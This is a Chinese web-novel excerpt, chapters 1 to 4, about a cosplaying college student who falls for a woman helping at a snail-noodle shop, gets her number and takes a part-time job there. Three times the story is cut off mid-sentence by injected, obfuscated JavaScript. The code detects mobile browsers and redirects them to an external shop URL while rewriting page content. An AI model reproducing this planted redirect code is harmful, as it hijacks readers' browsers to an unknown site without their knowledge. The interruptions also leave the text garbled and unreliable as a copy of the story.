《热情兔与冷淡猫》 1. Chapter 1 梦城的晚上十一点,地铁哐哐朝着郊区驶去。 越接近终点站,六号线车厢里人越少,到最后只剩秦离一人,空荡荡的。她穿着绿白色系的JK制服,顶着一看便知是假的紫色长发,脸上化着有些夸张的浓妆,怀里还抱着一把木刀,很明显是白天去市区的漫展出cos了。 她很累,头靠着玻璃挡板睡着,嘴微张,呼出温热的气。地铁的颠簸使头不停撞着挡板,但都没能弄醒她。 “云林大学城到了,请要下车的乘客依次排队,从右门下车。Wearearrivingat...” “云林”这词就像个信号,惊得秦离猛睁开眼。但眼睛睁开了,身体反应却没有跟上,眼瞅着车门开始闪红灯提醒了,她才如梦初醒,一把抓起地上的制服包,赶在关门前的最后一刻蹿了出去。 “呼……还好还好……” 她拍拍胸脯,松了口气。 刚出地铁,手机来了信号,“嘀嘀”响了两声。 秦离拿出小巧的三星手机,屏幕上显示了一则短信:【小离,我困死了,先去睡了。有给你留门,回来的时候小声点哦。】 消息是十分钟前室友陈小雨发来的。其他俩室友是本地人,周末都不在,陈小雨一向睡得早,此时寝室估计已经熄灯了。 “哎,清韵不在,都没人陪我熬夜快乐了。” 秦离嘴上嘀咕,脑袋耷拉着,拖着步子往站外走,恨不得一出去就是宿舍楼。 果然是白天有多浪,晚上就有多废啊。 五月初的云城,晚上的空气开始燥热,变得厚重,压在人身上有些沉。不透气的制服呢和假发更是让秦离心生烦躁,但她习惯了在路上保持完整的妆发,回去才卸妆,只得机械式地迈着步子朝打车点走去。 上车又下车,终于回到清河路了。她也不在意什么形象,眼睛只盯着一期宿舍的大门,像僵尸样往前踱着,只盼望爬上宿舍楼,赶紧倒在床上。 一期的侧门外有不少餐饮小店,这时基本都拉上了卷帘门,只剩一两家还亮着灯,但玻璃门已经拉上了。 夜晚变得宁静,四周的声音反而更加清晰。秦离听见远处倒水和搬桌子的声音,听见背后街道上远去的巡逻车鸣笛声,还仿佛听见自己体内血液流淌和脉搏跳动的声音。 时间被延长,意识被抽离,只有身体被黑夜的气息包裹,机械地动着。 这一刻,伤感的情绪被调动起来,她突然感到孤独,就好像白天的快乐都远去,做什么事都挺没意思的。 这情绪来得突然,但也不是第一次了。秦离的心像被揪起,浑身别扭着不舒服。她揉了揉心口,重重呼出口气,加快步伐。 这时,左侧不远处一道男声划破了这片寂静:“小羽,快过来帮忙,我们要关门了。” 秦离条件反射转头,第一眼看见的是昏黄路灯下站着的陌生人,影子被照成小小的一团,缩在脚下。 她一下子呆住了,脑里的混沌被瞬间打散,满满都是眼前的身影。 那是个栗色短发的女孩,穿着简单白T和黑色的休闲小西装,懒散地站着,一手插在裤兜里,另一只手的食指和中指间架着一支烟。她的嘴唇饱满,对着前方轻吐烟雾。烟被吸了一大半,她手上一松,烟蒂落在地上,被轻轻碾灭。 注意到秦离直愣愣的视线,女孩对着她的方向露出极浅的轻笑,像是一个回应。但她的眼神又显得漫不经心,只在她身上滑过,接着便转身朝一楼的店里走去,好像刚才的回应只是错觉。 秦离被那丝轻笑击中,心脏剧烈跳动起来,全身都酥麻了。她脑里只有一个念头:追上去,靠近她,要跟她说话,再看一次她对自己笑。 脑子发热,思考停止,她也控制不了自己,身体自发地跟着女孩往黑暗的一层走。 身后的路灯上是不断扑腾的飞蛾,一次又一次撞在亮光上,最终力气耗尽,落在地上,不动弹了。 也没看清招牌是什么,秦离就这么呆呆跟着女孩走进了一层唯一一家亮着灯的店。 店里除了她,还有一个身材矮小、约莫二十七八的男人,应该是店里的老板。 男人看见秦离进来,有些惊讶,上前道:“同学,我们已经关门了。” “啊……我……”秦离一下子反应过来,脸瞬间涨得通红,低着头,局促不安地抠着木刀上的碎屑,但眼神却不自觉朝女孩瞥去。 男人顺着她的目光也瞥了女孩一眼,脸上露出戏谑的笑容。他拍拍她的肩膀,道:“我先去算账,你招呼客人。”说完他就回到柜台后面,被挡住看不见了。 秦离的脸红得更厉害了,阵阵发烫。她总觉得老板看出了什么,扭头就想逃走,被女孩及时叫住。 “坐吧。”女孩脱了外套,将刘海随手抓到脑后,“厨师下班了,现在只能做粉,吃么?” “吃!”秦离小鸡啄米般点头,为她的回应而心中荡漾,抿嘴笑着。 似乎被她乖巧的模样逗乐了,女孩又轻笑了声。这次秦离看清楚了,她有一双丹凤眼,带着笑意的眼眸弯了一瞬,很好看,是真的很好看。 捂住快要跳出胸口的心脏,秦离挑了个靠角落的位置坐着,像是生怕多占一点空间。 店里的风扇以极慢的速度转着,搅动浑浊的空气。秦离还回味着刚才那个笑,有些激动,又拼命压抑着,害怕暴露出来。 柜台那边的键盘声越来越慢,最后停下。一时间,店里变得安静,只有厨房那边开灶的声音传过来。 不一会,厨房的帘子被掀起,女孩端着碗出来,放到秦离面前。 放下后,她没有离开,拿纸巾擦了擦手,扯开秦离对面的椅子坐下。 秦离心中一惊,手足无措,拿着筷子也不敢往碗里搅了,生怕溅出点汤水,显得不体面。 女孩一开始没说话,从兜里掏出打火机,在手里转着,像是想抽烟,但又没动。 余光瞥到秦离半天没开吃,她注意力才转移,将打火机塞回兜里,身子往前靠了些,单手托脸,道:“怎么不吃?” 被盯着,秦离更紧张了,手臂微微发抖,声音像蚊子般小:“我开吃了。” 说完,她心中尴尬,这宣言式的话听上去更蠢了。 偏偏女孩好像很喜欢她这副模样,脸上又是一簇笑意。她将辣椒罐推了过去,道:“要加点么?” 秦离忙点头,终于找到话题掩饰尴尬。她抓过辣椒罐,一阵猛倒,嘴上解释着:“我是南城人,不吃辣不习惯。”接着跟介绍家乡似的,说了一堆有的没的。 女孩有点兴趣了,应道:“那边确实吃辣厉害。下次你来,我提前给你做辣些。” “好哦。”秦离有些开心,这是欢迎她下次再来的意思吧。 她嘴上说话,也没注意自己放了多少辣椒,一口下去,被辣得够呛。喉咙刺痛,脸颊发热,眼泪都快出来了。 就是再能吃辣的南城人,也总有个限度呀。 发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370131|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现她的异常,女孩问道:“怎么,是不是辣椒放多了?” 刚被夸“吃辣厉害”,这怎么能承认?秦离打肿脸充胖子,低头拼命眨眼,将眼泪忍了回去,强颜欢笑道:“没事,这点辣,不算什么。” 女孩单边眉扬了扬,笑声憋在胸腔里,没说话,只是起身给她倒了杯水。 秦离有些沮丧,觉得自己丢脸了。她倔强着不肯喝水,小口小口继续吃着粉。 看她情绪有些低落,女孩想了想,开口道:“看你的打扮,今天是去动漫活动了?” “对,是漫展。”说起喜欢的领域,秦离来了精神,“今天是CT3,我跟基友约了出学姐嘛。CT就是人多,每次排队都要排一两个小时,不过面基了好多人,还见到凤栖了。我超喜欢她的cos,她每次出男性角色超帅的……” 越说越兴奋,她还差点拿出手机调照片。意识到眼前只是一面之缘的陌生人,她才消了音,支支吾吾道:“我是不是话太多了?” 女孩的表情看不出情绪,声音还是像之前那么温柔,微笑着摇头:“我不太了解,不过听上去挺有趣的,你这身就很好看。” “谢谢。”秦离被她毫不遮掩的目光盯得有些害羞,低头继续艰难地咽着粉。 这粉闻着味道有些奇怪,但吃着还不错,就是真的……太辣了。 其实秦离心里有很多想问的,比如女孩是学生么,叫什么名字,或者……还可以要个联系方式。但当面对着人,她一个字也说不出口,话一到喉咙又咽了下去。 两人间一阵沉默。女孩大概也觉得有些无聊了,起身将椅子推进桌底,道:“我去帮小何算账,吃完早点回去休息吧。” 看见人走了,秦离心里一阵懊恼,恼自己不会聊天,也没勇气问出想问的事。但又觉得女孩主动来跟她说话,应该对自己是有点意思的。 就这么食不知味地吃完大半碗粉了,秦离起身去柜台结账。 老板去二楼关灯了,柜台只有女孩在。 压下电脑,女孩站起收了钱,又在秦离手心放了颗薄荷糖,道:“吃颗糖,回去睡个好觉,晚安。” “晚……晚安……” 秦离被她轻柔的声音撩得四肢发软,说话都结巴了,不自觉咽了下口水。 东西也吃了,钱也给了,再没理由呆在这儿。秦离依依不舍出了店,回头看了看那遮住人的柜台,磨磨蹭蹭往宿舍走去。 回了寝室,人的魂儿还没回呢,把门弄得嘎吱作响。 陈小雨被吵醒,迷迷糊糊道:“小离,你小声点……你身上什么味道啊……” “什么什么味道?”秦离后知后觉,但陈小雨又睡着了。 好吧,我现在连嗅觉都失效了。秦离想着,扔了包,掀了假发,去了卫生间。 “啊——” 刚进去,她就发出一声惨叫。 大寝的人都被吵醒了,好几声怒吼着:“谁啊,小声点!” 卫生间里,秦离捂住嘴,对着镜子,想死的心都有了。 镜子里的自己脸上的妆早花了,特别是眼线花得一塌糊涂,在下眼睑映出黑黑的一圈,像是一个月没睡觉,跟熊猫似的。 想到自己刚才就是这么一副模样在女孩面前晃悠,简直囧死了!天啊,还被夸什么好看,肯定是反话,丢脸丢到家! 秦离自暴自弃地想着,胡乱洗漱下,倒在床上,用被子捂住自己。 再也……再也没脸见那个人了。 2. Chapter 2 不见是不可能的。丢脸的是昨天的我,跟今天的我又有什么关系呢? 一晚上的时间足以让秦离消化之前的尴尬,第二天就淡定了。 一觉醒来是周一,上午是满满四节专业课,上完让人精神疲惫,一教室的人都是蔫的。 下课了,秦离胡乱将书和笔塞进包里,扯了扯一旁起身要走的李清韵衣服:“清韵~中饭约么~”声音是百转千回。 李清韵是她的室友兼最好的朋友。除了那群南城老乡,秦离就数跟她最熟,玩得最多,有什么心里话也都说给她听。 李清韵在学生会和社团身兼数职,向来是行色匆匆,今天也不例外。她推推眼镜,苦逼脸道:“约不动啊。下午我要给外联部交个计划书,你看我电脑都背着,就去罗森买个饭团将就了。” “清韵~我们都好久没约了,择日不如撞日,就今天吧。明后天说不定你又有其他事,还是吃不了。” 这话扎心了,李清韵见拗不过她,勉强应道:“那去寒纪吧,速战速决!我们等菜时我还可以写点。” 寒纪是学校后门的一家小西餐厅,东西好吃,就是上菜速度有点慢。 秦离眼咕噜一转,对对手指,吞吞吐吐道:“那个,清韵呀~我们回宿舍侧门吃吧,我看中一家店,去试试?” “宿舍那边?不要,太远了!而且我们一期附近没啥好吃的啊。” 云林大学城比较特别。这里的学校都是专业性大学,面积都不大,宿舍统一设在校外,像小区一样分成一期、二期、三期、四期。其中一期主要住着的就是E大的学生。 因此,大学城的学生都是在学校不轻易回宿舍,回了宿舍就不想再到学校了,惯性大得很。李清韵下午还要去学院行政楼那边,自然是不想回宿舍区了。 秦离继续撒娇,可怜巴巴望着她:“就陪我去嘛,吃个饭,很快的!” “不行不行!” “我们打车!” “额……不行。” “来回!” “不……” “下午我帮你一起写!” “成交!” 就这清河路上短短七百米的路程,两人硬是打了个出租。出租师傅一脚油门还没踩稳呢,就又要踩刹车了。 到了地方,看清是什么店后,李清韵不干了,连连后退:“啊啊啊啊啊!你怎么没说是吃螺蛳粉啊!” 秦离有些心虚,但硬着头皮辩解:“你也没问啊。而且螺狮粉怎么了?多好吃啊,好多人喜欢吃的。” 这话倒是不假,昨晚她尝了后是真觉得挺好吃的。 李清韵一脸惊恐,不可置信地望着秦离,仿佛她背叛了两人的革命友谊。 “离离,你变了,你不再是过去那个纯粹的你了。你居然选择了螺蛳粉?明明之前是你帮我讲,说螺蛳粉味道臭臭的,绝对不要进去吃!” 过去说了什么,秦离选择性失忆,拉着李清韵的手往前:“好吃的,你试试,绝不后悔。走吧~走吧~” 李清韵使劲往后拽,坚决不往前一步,疯狂抗拒:“不要啊!进去身上就会沾上味道,我不要啊!” 两人俩弓步,一拉一拽,在大马路上形成牵引之势,极其沙雕,引得路人频频回头。 最终,还是秦离更胜一筹,将李清韵拉进店里,代价是—— “好啦好啦,衣服我帮你洗,包我也帮你洗,行了吧?” 光天化日之下,一桩新的交易达成。秉持着“来都来了”的四字真言,李清韵还是从了她,更重要的是—— 进店后,李清韵环顾四周,与秦离窃语:“没看到什么合你胃口的长相啊……依我对你的了解,你突然要吃这家店,肯定是又看上哪个人了。” 中午的店里人声鼎沸,靠窗一桌前面刚走,两人赶紧过去占座。 “是有一个啦,”秦离打着抿笑,也看了一圈,没有发现心中念着那人,有些失落,“她好像不在啊……” “看吧看吧,我就说!”李清韵兴奋起来,脸上露出八卦的神情,“是什么样的人?我们学校的么?不过我不太信任你的审美,你每次有好感的对象长得可都不怎么样。” 被否定,秦离可不干,差点拍桌而起:“以前的就算了,这次这个是真的超级超级好看!” 李清韵撇撇嘴,不太相信的样子。 两人说话间,老板拿着小本过来了,问道:“两位同学吃什……咦?你不是昨晚那个小姑娘?” “哇,老板你厉害哦,我昨晚穿成那样了,你今天还认得出我。” “那是,”老板一脸得意,“我看人一向很准。” “嘿嘿,那个,老板啊,”秦离吞吞吐吐,表情有些羞涩,“昨天那个女生怎么不在?” 老板露出果然如此的表情,打趣着:“是来找小羽的啊,等着……小羽!”他对着楼上就是一声吼。 “欸欸欸……老板你等等!”知道那人在,秦离突然紧张,心跳开始加速,手忙脚乱,“你别直接叫她啊……” 一旁李清韵还问着:“女生?怎么回事啊,离离,离离?” 这时秦离哪还有功夫顾她,满脑子都是明恋对象。她顺顺头发,又扯扯衣摆,睁大眼睛望着楼梯。 楼上也是闹哄哄的,过了好一阵了,那个叫小羽的女孩才拿着空托盘下来。 她今天穿着黑色卫衣与天蓝色的牛仔裤,显得有点瘦。可能是为了方便做事,她拿黑色发箍将头发往后压着,露出光洁的额头,看上去很清爽。 或许是因为在工作时间,她脸上一直挂着笑,连眼神都柔和了许多。秦离觉得白日里的她更好看了,哪里都好看,连踩在楼梯上的声音听着都比别人的悦耳。 “小何,怎么了?” “昨晚那个小姑娘又来了,一来就问你,我这不得马上把你叫过来嘛。你给她们点餐,我去端菜。” 说着,老板把本子往她手里一塞,飞速离开了。 “欸……不是……我没……”秦离听老板这么说着,紧张得语无伦次,最后僵在座位上,只盯着小羽的衣服。 卫衣上有个SC的白色字母,看着好眼熟啊。秦离脑子里开始胡思乱想。 “同学?” 被这么叫着,秦离不得不抬头,与小羽四目相对。 白天从近处看,小羽的眼瞳是浅棕色的,像是温润的琥珀,映着世间一切美好。 见着正脸了,她盯了一会儿,才笑出声,道:“你跟昨天差异太大了,一下子还真认不出来。” 秦离辩解着:“昨天是出cos才那样,我平时不那么打扮的,也不化妆。” “都挺好的,”小羽翻开本子,“你和你朋友想吃什么?” 李清韵在旁边弱弱举手:“给我肉末茄子盖浇饭吧。”她要保住最后的尊严,坚决不吃螺蛳粉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370132|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 秦离就没那么有原则了,她还心心念念着小羽昨天的话,道:“我还是吃粉。” “行,一个肉末茄子盖浇饭,一个螺蛳粉,重辣。今天客人比较多,”小羽收笔,狡黠一笑,“不过小张都去帮忙了,我还是有时间给你做的。” 她还记得! 秦离心花怒放,将笑意抿住,痴痴地望着小羽离开。 一旁,李清韵将手在她眼前挥了好几下:“喂喂喂,回神了!人都不见了,还盯着呢。” “嘿嘿……”秦离傻笑着,“她是不是很好看?” “你这次审美倒在线了,好看是好看,不过,我没看错,这是女生吧?” “这么明显的事。” “天,你之前喜欢的不都是男生么,什么时候转性了?你这是……弯了?” “弯了就弯了吧,反正她好看。” “……也是,从你天天给我看凤栖的照片时,我就该猜到。” “那不一样!” “怎么不一样,凤栖不好看?” “……好看。” “……” 两人都是话痨,这话匣子一敞开就停不下来了。直到小羽将点餐端过来,两人才止了声音。 “谢谢……”秦离面带羞涩、轻声细语跟小羽道谢,和刚才张牙舞爪的她简直是判若两人。 李清韵对她这副模样早就习以为常,撇撇嘴,将盖浇饭端到自己面前,安静如鸡。 “慢慢吃。” 放下碗,小羽转身要走。秦离慌了,站起来,伸手抓住她的手臂。 小羽道:“怎么了?” 像是手被烫着般,秦离飞快松开,低着头,将下唇咬得殷红,半天没出声。 小羽又问了遍,语气不变:“怎么了?” “可以……” “嗯?” “可以要个联系方式么?” 秦离的声音很小,但小羽懂她的意思了,点头:“可以啊,那你记我的。” “好!”秦离手忙脚乱从包里掏出手机,还差点手滑让它掉进汤里。 “188XXXXXXXX,黎羽,黎明的黎,羽毛的羽。” “好~我叫秦离,秦朝的秦,分离的离。” “嗯。” 成功拿到手机号了,秦离欣喜,连带着声音也有些甜。 黎羽很淡定,似乎很习惯了被搭讪。她扬扬手上的托盘:“我先去忙了,之后再聊吧。” “嗯嗯。”秦离乖巧点头。 等看不见黎羽了,秦离的兴奋才彻底放开,扶着李清韵的肩膀晃,不见之前的半分羞涩:“清韵你看,我要到手机号了!” “嗯嗯嗯,厉害厉害。”李清韵敷衍着,嘴里继续吞咽。 秦离也不在乎她什么反应,继续乐着:“之后我就可以找她聊天了,说不定还可以一起看电影。” “嗯嗯嗯……” “你说她是不是弯的?我觉得她有点点像T哦。” “嗯嗯嗯……” “嘿嘿,之后可以试探下。” “嗯嗯嗯……” “……” 尝了一口粉,秦离又惊呼道:“清韵,她有注意我的口味,这辣椒放得刚刚好。” “……嗯嗯嗯……” “她真好~” “……” 今天的周一,是幸福甜蜜的周一呢。 3. Chapter 3 一出店门,秦离就迫不及待去了条短信:【你好>0 意料之内的,没有回复。 现在肯定是在忙嘛。秦离也不沮丧,自觉勾搭之路已更进一步,美滋滋跟李清韵回了宿舍。 下午,衣服也洗了,计划书也做了。期间,秦离不断把屏幕按亮又按灭,都没看到属于黎羽的那行信息栏出现新短信。 是……还在忙? 没有得到回应,秦离心里有些烦躁。 本来按计划下午要练两篇雅思作文,晚上还要去上民法课,但秦离心情不佳,也不想做事,干脆打开了游戏。 最近她被Garry这个人物吸引,正在玩Ib①,已经打了一大半的进度了。 游戏时间总是过得很快,让人废寝忘食,什么烦恼都忘记了。 转眼间天彻底黑了,大寝慢慢吵闹起来,连李清韵这个工作狂都回来了,秦离还在奋战结局。 见秦离在寝室,李清韵惊道:“离离,你怎么还在呢,今晚不是该去L大上课?” 秦离头也不回道:“今天不想去了,明天我找南昕补笔记。” 李清韵无奈:“行吧,那今天那个谁回……” 要进入限时关卡了,秦离手上动作加快:“啊啊啊——清韵,等会再说,我马上打出结局了!” 回你消息了么?李清韵的后半句话被打断,咽回肚子里。行吧,本人都没在意,她也不问了。 反正对秦离而言,三分钟热度那是常态。这一秒感兴趣的人和事,下一秒被她忘得一干二净,都是正常现象。 又过了半小时,秦离长吁一口气,灌下小半瓶李清韵友情提供的东方树叶。 终于,打出结局了,看看—— Marry死了,Ib和Garry一起离开美术馆。但是好感度没刷够,两人瞬间失忆,忘记彼此存在,分道扬镳。 “啊——” 就差一点,秦离心底疯狂尖叫,离记忆恢复的He结局就差一点好感度了啊! 不过,活着就有未来,说不定两人以后还会再相遇呢?她自我安慰着。 分开的人……总还有机会再在一起的。 哎,算了算了,游戏打完,就不管了。 秦离想着,注意力也终于回到现实,转头朝李清韵问道:“对了,清韵,你之前问我什么?” 李清韵正忙着做一份表格呢,头也没抬,随口道:“我问那个谁回你消息没?” “……谁……啊啊啊啊——” 秦离手忙脚乱从书堆里翻出手机,发现上面果然有一条未读短信。 “天,”李清韵顿住扶额,“你不是忘记了吧?” “我打游戏去了啊!” 秦离点开信息栏,上面是快一小时之前的回复了。 【嗯。抱歉,白天在忙,来不及回你消息。】 “啊啊啊啊!她一个小时前回我的,我要想想怎么跟她解释……”秦离一把扣下电脑盖,攀着梯子上去,倒在床上,“我先回她了,你忙你的。” 被强行打断又强行继续的李清韵叹气:“……行吧。” 秦离在消息栏打了又删,删了又打,反复斟酌,最终发出:【抱歉抱歉!我刚才从L大回来,才看到你消息。今天忙死了!最近就是杂七杂八的事特别多呢……[哭]】 小撒谎精,不想给黎羽留下不好的印象,就假装自己在做正事呢。 那边这次回复得很快:【没事,学业要紧。你是L大的学生?】 【不是啦,我只是在那边上法学的辅修课。我是E大的,英语系,大二。】 【大二,原来是我学妹啊。还要去上辅修,看来学妹是个学霸哦。】 秦离有些心虚,又有点欢喜。是学姐的话,关系就更近了呢。 【没有没有,就是随便去上上,刚好感兴趣,就报了。学姐是大三还是大四,哪个专业的呀?】 【我大三了,财管的。】 【大三啊,那课应该还是挺多,挺忙的哦。】 【还好,我们专业课上得早,基本差不多了。】 【这样哦。】 话题到这里卡住了,那边也没有新消息进来。秦离有些愁,又不好问对方什么太深入的问题,想了半天,还是从自己入手。 【昨天是我第一次吃螺蛳粉呢,没想到还挺好吃的。以前都被气味吓跑了,哈哈~[大笑]】 【正常,很多人不能接受螺蛳粉的味道。】 【不过没想到螺蛳粉可以这么辣哦。我之前在梦城好多地方吃饭,倒一整罐辣椒进去都没有味道。】 【店里辣椒是做的比较辣。】 【其实,我昨天不小心放多了,哈哈~】 【发现了[笑哭],我有给你倒水。】 【嘿嘿,谢谢呀,不过我当时不好意思喝。刚夸口能吃辣嘛,就要被打脸了。】消息发多了,秦离胆子大了些,开始有点放飞,又补了一条:【主要是你太帅啦,不想在你面前丢脸~[肌肉]】 发完她就有些后悔,是不是表现得太花痴了?不过消息发出去也没法收回来。 那边依旧回得很快:【谢谢夸奖^_^很多人这么说,不过水还是要喝的。】 秦离乖乖举手投降:【下次不逞能了QAQ不过你今天做的这份辣度就很合适,比昨天的更好吃了。】 【谢谢,觉得好吃就行。】 秦离觉得自己着魔了,看见这么普通的一句话也觉得甜。她兴奋地翻了个身,将被子夹在腿间,抱在怀里,继续聊天。 【说起来,你是在店里打工么?】 【算是在帮忙,我跟小何是老乡。】 【老板?你们都是柳城人?】 【嗯。】 秦离想起白天店里火红的生意,眼咕噜一转,有了点想法。 【我今天看老板店里还挺忙的哦,你们楼上楼下地跑。】 【是,最近生意比较好。】 【那老板那里招不招兼职呀,我这学期课不多,想赚点零花钱。】 撒谎精继续撒谎中。要说课也不算少,再加上雅思和辅修,够忙的。而且她哪在意兼职那点小钱,不过是一心想接近黎羽,学业金钱什么的都抛诸脑后了。 【招的,最近本来就缺人。你来的话,明天到店里,我让小何和你商量具体时间安排和报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370133|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酬。】 【好哦^0^那我明天上午过来。】 【嗯。】 未来也安排上了,秦离心里美滋滋,在床上直打滚,把床弄得嘎吱直响。 下面李清韵摔鼠标:“离离,小声点,我在做事呢!” “嘿嘿,好,好。” 李清韵摇摇头,埋头继续。 秦离手上继续按键:【这样聊短信有点费钱哦,我们换飞信吧。】 【好。】 飞信打开,先是一堆学院和班级通知。秦离草草扫过,添加黎羽,就只关注一个信息栏了。 刚才的对话被再次中断,秦离又得绞尽脑汁想话题了。 好在她是个话痨,而且只要不是面对真人,就不会那么紧张。只是要克制自己,别太兴奋放飞了。 信息继续有来有往,多数时候是秦离在说,黎羽回应,说的也都是秦离自己的事:cos的事,游戏的事,学校的事,朋友的事,过去的事。说到后来,估计黎羽对她的方方面面都有所了解,连喜欢什么和讨厌什么都知道了。 两人聊了很久,聊到寝室里另外两人都睡了,灯熄了,只剩李清韵还在下面狂敲键盘。 黎羽的消息越来越短,回复也越来越慢。 秦离看看时间,快十二点了:【哈哈,不知不觉聊了这么久,好像有点晚了哦。】 那边隔了很久才回复:【抱歉,明早还有课,我有点困,先睡了。】 秦离这才后知后觉,可能给对方造成困扰了。她是夜猫子不觉得,但对其他人而言是不早了。 ……她的语气是不是有点冷? 秦离心里有些酸涩,快速发道:【没事没事,你快睡吧,晚安哦。[关灯]】 很久了,黎羽没有回复。 秦离盯着天花板的一团黑暗发呆,突然有些伤感。 窗外有汽车驶过,灯光一闪而过,映亮了白得很粗糙的蚊帐。蚊帐里有“嗡嗡嗡”的声音,是之前没注意,关进了一只蚊子。 她这才觉得手臂好痒,抓了抓,都是包。 蚊子飞得很慢。她坐起来,“啪”的一声,打死了,手上是自己的血。 她盯着手心看了很久,拿纸巾用力地全部擦掉。 躺着,不想睡,也睡不着,不知道做什么。 秦离坐了很久,突然翻身下床,把电脑拿了上来,第一次点开了一部les电影。 校园背景,一个简单甜蜜的故事,T很帅气,P很甜美可爱,结局很美好,因为爱情本身就很美好。 电影结束,也快三点了,夜猫子也终于有了睡意。 她躺在床上,闭着眼睛,脑里还反复着电影里的旋律。迷迷糊糊间,其中一句台词突然冒了出来。 “如果我们爱上一个人,感觉就好像有上百只蝴蝶在心里起舞。” 蝴蝶啊…… 她睡着了,梦里回到南城的松子岭。 是晚春的山林花丛,她全身赤裸,却不觉羞耻。周围全是纷飞的蝴蝶,不知从哪里来,只翩翩起舞,挥翅从她身旁飞过,不知去往何方。 世界只有一种声音。 咚咚的心跳声。 4. Chapter 4 晚睡的结果是,第二天醒来,外面已经艳阳高照,寝室里空无一人。 秦离顶着乱糟糟的头发坐起来,眯着眼抓了抓手臂,心里还残留着那种异常的跳动感。 打开手机。 已经十一……十一点了?糟了!说好要去店里的! 她瞬间清醒,随便套了件衣服,匆忙收拾就要出门。都走到楼梯了,她想了想,掉头回来,换了身长袖的白色连衣裙,又加了条天蓝色的发带。 到店里时刚刚十一点半。这个点,学生还没下课,黎羽不在,店里只有老板和另一个陌生男人。那男人看着三十五岁的样子,脸上留着胡渣,皮肤黝黑,戴着鸭舌帽,是成熟大叔的感觉。 他跟老板挨得很近,老板的态度有点嫌弃,又有些依赖。 凭直觉,秦离判定这两人之间一定有点什么。 她一进店,两人马上分开了。老板瞪了那人一眼,对着她笑脸相迎:“秦离是吧?兼职的事小羽已经跟我说了。” “黎羽……她今天不在么?” 那陌生男人突然插话:“是小羽介绍来的朋友?” “何旭你一边呆着去,别说话!”老板不耐烦地将他推开,也打断了秦离的回应,“你别在意他,店里是我说了算。” “章远……”何旭无奈地喊了声,“我好歹是店里的二老板啊。”这时有客人来了,他还是顺了何章远的意,去招呼客人。 “老板……”秦离有些不知所措。 “没事,不管他。我们上楼去说吧。” “好。”秦离老老实实跟着何章远上去了。 沟通后,秦离的工作时间定在周一的中午下午、周二的上午中午、周四全天、周五的下午晚上,周末的话依情况而定,薪酬是每小时十二块,在大学城这边不算低的了。 时间、薪酬什么的,其实秦离都不太在意。在何章远提到“小羽有空都会过来帮忙”后,她巴不得没事就往店里跑,多跟黎羽相处呢。 正经事说完,何章远开始朝秦离挤眉弄眼:“老是念着小羽,你对她有好感吧?” 被挑明,秦离有些不自在。但只要不是面对喜欢的人,她都淡定得多,毫不遮掩地点点头,甚至带了点幼稚的炫耀感:“她太好看了,我对她一见钟情。” 被秦离的直白惊到,何章远微瞪眼,随即竖起大拇指:“够直接!我看好你,小羽现在是单身状态呢,你有机会。” 何章远的话给秦离吃个颗定心丸。她抿笑窃喜,右脸颊上显出一个小酒窝。 “谢谢老板!” “不用这么客气,跟小羽一样,叫我小何就是了。” “好呢。” 下午还有课,秦离先离开了,去隔壁吃了碗卤肉饭,手上发消息:【我已经跟老板商量好了,后天就可以开始做事啦~[脸红]】 那边回得很快:【挺好^_^你跟小何商量的哪些时间去?】 秦离还在打字,那边又补了一条:【抱歉,昨天太困,睡着了,今早又比较忙,没来得及回你消息。】 得到解释简直是意外惊喜,昨晚的伤感早消失得无影无踪了。秦离对着手机傻笑,重新编辑短信:【没事[窃笑],也是我们昨晚聊得太晚啦~对了,我跟老板商量的周一中午下午、周二上中午、周四全天、周五下午晚上、还有有空的周末过去。】 【时间安排得这么紧啊,还是要留些自己的时间。】 接着又是一条:【不过也没关系,有事直接请假就行。我记得你喜欢玩cos,周末去玩你的,不用一定要来。】 白天的黎羽好像更温柔了啊,话也多了好多。 秦离心里冒出一朵又一朵小花,整个人轻飘飘像要飞起来:【好呢~[脸红]对了,你一般什么时候去店里啊?】 【有空我基本每天都去。】 【这样啊~】 【嗯,有时候也会住在店里。】 【欸?00】 【店里二楼最里面有个小房间。】 【这样哦~】 两人一直发着消息,秦离吃饭、走路、坐在教室、老师上课时,都看着手机打字,只想把这样的幸福时光再延长些,再延长些。 下午第一节课开始十来分钟了,那边也反应过来:【现在应该已经上课了吧?】 【……是呢[心虚]】 【还玩手机,不乖哦,快认真上课吧,我不回你了。】 【好哦~[对手指]】 收起手机,心里还是甜的,秦离以前所未有的热情听课。 一旁的李清韵瞄了她一眼,低声道:“不发消息了?” 秦离目不斜视:“她让我认真听课。” “哟,她让你认真听课。” “不跟你说了,老师讲到重点了。” “……行吧。” 日子还是这样的日子,但秦离变得干劲十足,好像世界是全新的,做什么都是有意思的。 